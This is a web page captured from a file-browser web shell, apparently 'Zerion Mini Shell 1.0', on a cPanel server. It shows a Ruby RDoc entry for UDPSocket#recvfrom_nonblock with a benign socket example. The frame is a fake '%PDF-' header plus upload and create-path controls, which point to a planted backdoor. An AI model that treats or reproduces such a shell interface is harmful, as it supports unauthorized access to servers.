%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/UDPSocket/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/UDPSocket/recvfrom_nonblock-i.ri

U:RDoc::AnyMethod[iI"recvfrom_nonblock:EFI" UDPSocket#recvfrom_nonblock;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[
I"LReceives up to _maxlen_ bytes from +udpsocket+ using recvfrom(2) after ;TI";O_NONBLOCK is set for the underlying file descriptor. ;TI"4_flags_ is zero or more of the +MSG_+ options. ;TI"EThe first element of the results, _mesg_, is the data received. ;TI"YThe second element, _sender_inet_addr_, is an array to represent the sender address.;To:RDoc::Markup::BlankLineo;
;	[I"!When recvfrom(2) returns 0, ;TI"?Socket#recvfrom_nonblock returns an empty string as data. ;TI"It means an empty packet.;T@S:RDoc::Markup::Heading:
leveli:	textI"Parameters;To:RDoc::Markup::List:
@type:BULLET:@items[	o:RDoc::Markup::ListItem:@label0;	[o;
;	[I">+maxlen+ - the number of bytes to receive from the socket;To;;0;	[o;
;	[I"1+flags+ - zero or more of the +MSG_+ options;To;;0;	[o;
;	[I")+outbuf+ - destination String buffer;To;;0;	[o;
;	[I"<+options+ - keyword hash, supporting `exception: false`;T@S;;
i;I"Example;To:RDoc::Markup::Verbatim;	[I"require 'socket'
;TI"s1 = UDPSocket.new
;TI"s1.bind("127.0.0.1", 0)
;TI"s2 = UDPSocket.new
;TI"s2.bind("127.0.0.1", 0)
;TI")s2.connect(*s1.addr.values_at(3,1))
;TI")s1.connect(*s2.addr.values_at(3,1))
;TI"s1.send "aaa", 0
;TI"'begin # emulate blocking recvfrom
;TI"i  p s2.recvfrom_nonblock(10)  #=> ["aaa", ["AF_INET", 33302, "localhost.localdomain", "127.0.0.1"]]
;TI"rescue IO::WaitReadable
;TI"  IO.select([s2])
;TI"
  retry
;TI"	end
;T:@format0o;
;	[I"PRefer to Socket#recvfrom for the exceptions that may be thrown if the call ;TI""to _recvfrom_nonblock_ fails.;T@o;
;	[I"[UDPSocket#recvfrom_nonblock may raise any error corresponding to recvfrom(2) failure, ;TI""including Errno::EWOULDBLOCK.;T@o;
;	[I">If the exception is Errno::EWOULDBLOCK or Errno::EAGAIN, ;TI")it is extended by IO::WaitReadable. ;TI"]So IO::WaitReadable can be used to rescue the exceptions for retrying recvfrom_nonblock.;T@o;
;	[I"OBy specifying a keyword argument _exception_ to +false+, you can indicate ;TI"Pthat recvfrom_nonblock should not raise an IO::WaitReadable exception, but ;TI"0return the symbol +:wait_readable+ instead.;T@S;;
i;I"See;To;;;;[o;;0;	[o;
;	[I"Socket#recvfrom;T:
@fileI"ext/socket/lib/socket.rb;T:0@omit_headings_from_table_of_contents_below0I"eudpsocket.recvfrom_nonblock(maxlen [, flags[, outbuf [, options]]]) => [mesg, sender_inet_addr]
;T0[I"3(len, flag = 0, outbuf = nil, exception: true);T@]FI"UDPSocket;TcRDoc::NormalClass00

Zerion Mini Shell 1.0